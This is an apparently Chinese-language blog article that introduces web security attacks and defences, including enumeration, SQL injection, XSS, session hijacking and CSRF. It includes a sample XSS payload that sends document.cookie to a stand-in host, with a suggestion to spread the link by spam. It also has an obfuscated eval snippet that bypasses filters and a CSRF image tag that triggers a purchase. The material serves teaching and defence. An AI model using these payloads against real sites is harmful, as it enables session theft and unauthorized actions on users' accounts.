浅谈web前端安全
单纯地在你的客户端弹出信息只是类似于迫使你在自己的房间脱衣服——没人看得到,自然也不算啥恶意行为。那么如果我把你的信息通过脚本发送到我的服务器保存起来呢?先放心,我不打算这么做,也没那笔闲钱去购置一个服务器来做羞羞的事情,也不希望把我这地盘给封掉了。
如同标题所写的,今天要聊的是WEB安全机制,但这“前端”二字倒是说的狭义了些,安全的问题大部分还是更依赖于后端的过滤和拦截措施,后端的朋友如果感兴趣,看一看也无妨。
先不说上面的“通过脚本把信息发送给服务器”是什么情况,我们先来聊一聊WEB基本攻击有哪些。
WEB基本攻击大致可以分为三大类—— “资源枚举”、“参数操纵” 和 “其它攻击”。
资源枚举
有时候受前人(技术前辈也好,你所接任的上一位员工也好)的影响,我们可能会约定成俗地去做某件事情,比如用骆驼命名法法来命名函数名、用JSDoc的方式来书写注释,这样会让你的团队工作更加规范。然后有一天要给项目做备份了,就直接把该项目压缩为rar文件,命名为什么呢?首选的自然是“bak.rar”,你看数据库的备份的形式不也是.bak嘛。
于是乎,如果压缩包所在的地址是可访问的,那么所有人都可以轻松地下载到这个"bak.rar"文件,你的项目也不存在什么小秘密了(即使夏天夏天悄悄地过去)。
这就是“资源枚举”,别有用心的人会遍历你站点所有可访问的目录,然后把一些常见的备胎文件名(比如“sql.bak”、“index-副本.html”)一个个都枚举一下,如果运气好枚举到了就直接下载。
于是跟随主流在这里不是好的事情,对于重要的东西,要么放在外人不可访问的地方,要么应当给它起一个不那么好猜的名字。
资源枚举也不仅仅局限于瞎找东西,聪明的人会利用线索来更好地猜东西。
假设有一个站点走的伪静态的高冷路线,不想让别人知道它所使用的语言和数据库,但没有配置好后端错误信息的提示。那么“别有用心”的朋友就可以在这个站点里的某个搜索结果页面篡改url参数,导致数据库查询错误而返回数据库错误信息页面,或者输入一个根本不存在的子页面地址来获取错误信息,进而可判断该站点到底用的是什么数据库或动态语言。
参数操纵
这里包括了SQL注入、XPath注入、cgi命令执行,还有XXS和会话劫持等。前三个的攻击主要是在服务端触发的,后二者的攻击则是侧重于客户端。
SQL注入这块不想细聊了,相信很多朋友都听到耳朵长茧,不外乎是提交含有SQL操作语句的信息给后端,后端如果没有做好过滤就执行该语句,攻击者自然可以随意操纵该站点的数据库。
比如有一个图书馆站点book.com,你点进一本书的详情页面,其url是这样的:
book.com/book?id=100
说明这本书在数据库中的键值是100,后端收到url参数后就执行了数据库查询操作:
select * from booktable where id='100'
那么如果我们把url更改为
book.com/book?id=100'or'1'='1
那么数据库操作执行就变成了:
select * from booktable where id='100'or'1'='1'
从而取出了整个booktable 表单的全部数据。
XPath注入跟SQL注入差不多,只不过这里的数据库走的xml格式,攻击方式自然也得按xml查找的语法来了,具体可看这里。
cgi命令执行指的是用户远程访问cgi脚本时,通过提交恶意的参数让服务器执行相关的cgi命令来获取信息甚至操纵服务器。有兴趣的朋友可以看下这里。
对于这几个攻击,我们需要做的自然是对提交参数的过滤,最好是前端过滤一遍,后端也过滤一遍(后端的过滤和拦截是最重要的,毕竟通过在浏览器禁用脚本的配置可以躲过前端的过滤)。
XSS(cross-site scripting跨域脚本攻击)攻击也是最常见的WEB攻击之一,其重点是“跨域”和“客户端执行”。我们还是拿那个图书馆网站book.com来调侃下。
假设页面右上角有一个搜索书籍的地方,你随便输入一本压根就没有的书,比如“有钱任性指南”,然后点击“搜索”按钮。这时候页面(book.com/search?name=有钱任性指南)会返回一段信息:
您搜索的书籍“有钱任性指南”不存在
好的,那我们输入这个怎样:
<script>alert('没有书开个毛线书店啊')</script>
假设这个图书馆站点没有对数据做任何过滤,而且会原封不动地把用户输入的数据展示回来,那么返回的页面自然也会返回这段脚本,从而执行它。
但是这样不好玩,既然要做攻击,我们就要获取用户的数据,要获取数据自然要把信息传回我们的服务器(假设接收信息的地址是http://vajoy/get),那咱们可以这样写:
<script>document.location='http://vajoy/get?cookie='+document.cookie</script>
不过这样不好玩啊,收到的总是我们自己的数据,我们要收集的应该是别人的cookie信息啊!
小意思,不妨通过QQ群,或者通过群发垃圾邮件,来让其他人点击这个地址:
book.com/search?name=<script>document.location='http://vajoy/get?cookie='+document.cookie</script>
这种便是XSS攻击中的一种,称为“Reflected XSS”——基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起WEB攻击。
与其相近的是“DOM-based or local XSS”——基于DOM或本地的XSS攻击。拿我现在工作的项目做比方——为用户提供免费的wifi,但是提供免费wifi的网关会往你访问的任何页面插入一段脚本,从而植入悬浮广告(当然你可以关闭它),这貌似没什么,但如果插入的脚本是获取你敏感数据的恶意脚本那就不一样了。像这种直接存在于页面,无须经过服务器返回脚本处理就直接跨域发送用户信息的行为就是基于本地的XSS攻击。
还有最后一种称为“Stored XSS”——基于存储的XSS攻击。它是通过贴吧啊等地方来发表带有恶意跨域脚本的帖子或文章,从而把恶意脚本存储在里面,每个访问该帖子/文章的人就会中招。
还记得一开始加载本文章的alert弹窗么?假设对文章进行了过滤,把全部“alert”啊、"eval"啊等敏感字符都过滤掉,那我们怎么办?我们可以这样:
<script type="text/javascript">
var x='eva'+String.fromCharCode(108),y=window,e='a'+String.fromCharCode(108)+'ert("欢迎收看本文章")';
y[x]['call'](this,e);
</script>
照样实现我们想要的弹窗无误。
对于XSS的预防自然也是对提交数据的过滤,另外还有一点——谨慎返回用户提交的内容!
会话劫持
百度百科有个很有意思的引喻——“在现实生活中,比如你去市场买菜,在交完钱后你要求先去干一些别的事情,稍候再来拿菜;如果这个时候某个陌生人要求把菜拿走,卖菜的人会把菜给陌生人吗?”
这个比喻很有意思,我们常规访问一个http网站时是与其服务器建立了一次HTTP会话。假设你宿舍楼的“朋友”都跟你处于同一个子网上,其中有人想伪装成你来劫持你的HTTP会话,那么服务器会把菜,哦不,是信息返回给那个人吗?
答案是肯定的,因为HTTP会话并不安全。它在经过TCP/IP协议封装传输数据时,在传输的数据的每一个字节中插入一个32位的序列号码,这个序列号用来保持跟踪数据和提供可靠性(序列号是依循数据顺序逐步递增的)。第三方攻击者可以通过嗅探的方式来获取用户与服务器通讯中的报文信息,如果他能猜测到数据中的序列号,那便能把合法的用户断开,伪装成合法用户让自己控制后续的通话。
对于会话劫持的预防,可以走SSH协议、增强网络安全系统健壮性,也可以使用无序的UUID来替代通讯中的序列号码(而非逐步递增)。
其它攻击
其它攻击包括有前面未提及的CSRF攻击、钓鱼攻击和拒绝服务攻击等。
CSRF(cross-site request forgery),翻译为跨站请求伪造,与XSS非常相似,但XSS是利用用户对当前网站的信任来发起攻击,而CSRF是利用网站对用户的信任来发起攻击。
依旧拿上述的图书馆站点打个比方,如果它的安全机制很松懈——只要用户登录了网站后,只要没关闭浏览器,在任何情况都可以作为一个已通过身份验证的用户来做购书、借书操作(无须重新登录或者输入支付密码什么的,毕竟已经登录验证过一次了嘛)。
那么我们给一位用户发送一份邮件怎样,里面放有一条转向购书执行页面的链接。。。噢不,那样还得用户点击它,我们想让用户看到的时候就立刻执行了购书操作,我们可以这样做——在邮件中插入一张图片:
<img src='http://book.com/pay?bookid=100'/>
img、script、iframe标签都是不受同源策略限制的,假设你使用的邮箱很直白地给用户即时显示这张图片,而该用户又刚好登录了book.com且没有关闭浏览器,那么src里的连接就会立刻访问book.com/pay页面,并按照已通过身份验证的情况来处理,从而做了购书的操作。
相信现在你会很清楚为何现在的邮箱都不会直接显示邮件里的图片了吧——都是为了你的安全考虑。
对于CSRF攻击,我们所能做的可以有:
1. 检查报头中的Referer参数确保请求发自正确的网站(但XHR请求可调用setRequestHeader方法来修改Referer报头);
2. 对于任何重要的请求都需要重新验证用户的身份;
3. 创建一个唯一的令牌(Token),将其存在服务端的session中及客户端的cookie中,对任何请求,都检查二者是否一致。
钓鱼攻击指的是网站的伪造,比如ta0bao.com,然后在其中应用XSS等方式发起攻击。
拒绝服务(DoS)指的是向网站发起洪水一样的请求(Traffic Floor),导致服务器超负荷并关闭,处理方法常规是采用QoS(Quality of Service)的软硬件解决方案。
攻击层面
攻击层面指的是有恶意的人可能会从哪些地方来入手制造麻烦,常见的攻击层面有三种:
一. 传统WEB应用程序
1. 表单输入(甚至包括hidden控件的内容);
2. cookie(通过修改cookie内容也可以达到SQL注入攻击的目的);
3. 报头(有时候为了方便统计来源数据,服务器会把客户端发来报头的Referer、User-Agent信息存到数据库中,那么通过修改报头信息也可以起到SQL注入工具目的)
4. 请求参数
5. 上传文件(在文件内携带恶意代码)
二. Web服务
1. 上述“传统WEB服务”的全部方法;
2. WSDL文档(暴露了服务端的每个方法及其使用方式)
三. AJAX应用程序
即上述的“一”和“二”的合集
解决方案
综上所述,我们可以这样审视我们的WEB站点:
1. 永远不要相信客户端传来的任何信息,对这些信息都应先进行编码或过滤处理;
2. 谨慎返回用户输入的信息;
3. 使用黑名单和白名单处理(即“不允许哪些敏感信息”或“只允许哪些信息”,白名单的效果更好但局限性高);
4. 检查、验证请求来源,对每一个重要的操作都进行重新验证;
5. 使用SSL防止第三方监听通信(但无法阻止XSS、CSRF、SQL注入攻击);
6. 不要将重要文件、备份文件存放在公众可访问到的地方;
7. 会话ID无序化;
8. 对用户上传的文件进行验证(不单单是格式验证,比方一张gif图片还应将其转为二进制并验证其每帧颜色值<无符号8位>和宽高值<无符号16位>);
9. WSDL文档应当要求用户注册后才能获取;
10. 在报头定义CSP(Content Security Policy);
11. 。。。
虽然我们有一些必要的手段来防止WEB攻击,但永远不会有一枚silver bullet来彻底解决问题,先不谈那些数不胜数的已知的、可被攻击的漏洞,对于谜一样的0-day漏洞,我们所能做的只是提前发现并及时修补它们。
今天要唠嗑的就是这些,写着写着不知不觉就午夜了。共勉~
浅谈web前端安全的更多相关文章
- 浅谈web前端开发阅历
WEB前端研发工程师,在国内算是一个朝阳职业,这个领域没有学校的正轨教育,大多数人都是靠本人自学成才.本文次要引见本人从事web开发以来(从大二至今)看过的书籍和本人的成长过程,目的是给想了解Java ...
- 浅谈web前端开发
我个人认为前端攻城狮其实就是编程技术人员,用一句话来形容“比UI设计懂技术,比技术人员更懂交互”,当然也有人说前端工程师是工程师中的设计师,是设计师中的工程师. 好了废话不多说了,下面进入正题吧! ...
- 浅谈web前端就业的学习路线
初级前端 主要学习三个部分:HTML,CSS,JavaScript 一.html + css部分: 这部分特别简单,到网上搜资料,书籍视频非常多.css中盒子模型,流动,block,inline,层叠 ...
- 初学者:浅谈web前端就业的学习路线
初级前端 主要学习三个部分:HTML,CSS,JavaScript 一.html + css部分: 这部分特别简单,到网上搜资料,书籍视频非常多.css中盒子模型,流动,block,inline,层叠 ...
- 浅谈web前端性能优化
前端性能优化: 一.尽可能减少前端http请求. 1.合并优化脚本文件和css文件. 2.同种类型的背景图片尽量放在一起,用css控制显示. 二.使用浏览器缓存. 如果能强制浏览器缓存在本地,将会降低 ...
- 浅谈web前端优化
开篇 优化网站是一个系统性和持续性的过程.很多人认为优化网站的性能只需要合并图片啦,减小HTTP请求啦,部署CDN啦就行,实际上这都是见木不见林的做法.以上的做法经常会被面试者提起,在被问到自己在网页 ...
- 浅谈Web前端浏览器兼容问题
对于兼容最近一直困扰我,以前写的代码只是针对高质量用户来使用 不考虑IE7,8 这样的浏览器 ,但是最近我开发的时候必须要兼容,大喊一声我曹,没有办法,自己来吧! 所谓的浏览器兼容性问题,是指因为不同 ...
- 浅谈WEB前端规范化标准之ESlint
规范化标准 软件开发需要多人开发,不同的开发者具有不同的编码习惯和喜好,不同的喜好增加项目的维护成本,所以需要明确统一的标准,决定 了项目的可维护性,人为的约定不可靠,所以需要专门的工具进行约束,并且 ...
- 【架构】浅谈web网站架构演变过程
浅谈web网站架构演变过程 前言 我们以javaweb为例,来搭建一个简单的电商系统,看看这个系统可以如何一步步演变. 该系统具备的功能: 用户模块:用户注册和管理 商品模块:商品展示和管 ...
随机推荐
- [WPF]绑定到界面的数组不支持调度线程以外对其更改的办法
[原]WPF编程经常遇到一个问题: 某个数组己绑定到主界面某控件中,然后在后台程序中需要对数组增(减)数据,然后程序就会报错, 程序提示:该类型的CollectionView 不支持从调度程序线程以外 ...
- easyui dialog 按钮动态命名
1.方法一: /** * grid新增 * 弹框并且获取支付类型 */ function gridAdd() { var dlg = $('#mydialog').dialog({ title : & ...
- SQLSERVER调用DLL程序
在SQL Server中调用dll分为两个步骤 1.创建一个dll文件(dll文件分成3种类型,讲其中一种) 2.把dll文件放进SQL Server的程序集中.然后定义一个Function,就可以通 ...
- 【ztree系列——图标的修改】Bootstrap风格的ztree
前段时间项目中需要用树形结构,在选取的时候参考了很多插件,经过很多尝试,最后又回归到了ztree上.以前用的界面框架是EasyUI,但是它的树结构在实现起来有点复杂,并且功能不是特别完善.dtree在 ...
- 通过ssh上传文件到目标主机
需要通过ssh上传文件到目标主机上,之前一直时通过ssh客户端来传文件的,这次因为本地没装客户端,所以考虑直接用终端通过ssh连接主机进行文件传输. 只需要一条命令就可以了: scp ./serve ...
- git删除历史
Git如何永久删除文件(包括历史记录) 有些时候不小心上传了一些敏感文件(例如密码), 或者不想上传的文件(没及时或忘了加到.gitignore里的), 而且上传的文件又特别大的时候, 这将导致别 ...
- Oracle表空间不足处理
异常信息: 异常信息(异常类型:System.Data.OracleClient.OracleException) 异常提示:Oracle数据执行异常,请联系管理员处理 异常信息:ORA: 表 LC0 ...
- java之this关键字
this使用范围 1.在类的方法定义中使用的this关键字代表调用该方法对象的引用. 2.当必须指出当前使用方法的对象是谁时,要使用关键字this. 3.有时使用this可以处理方法中成员变量和参数重 ...
- JPA学习笔记1——JPA基础 (转自CSDN)
http://blog.csdn.net/chjttony/article/details/6086298 1.JPA简介: Java持久化规范,是从EJB2.x以前的实体Bean(Entity be ...
- oracle linux 6 docker 安装
docker对安装系统的内核版本有严格的要求,本文针对oracle linux 6.5进行讲解,其它系统参见: https://docs.docker.com/v1.5/installation/ 下 ...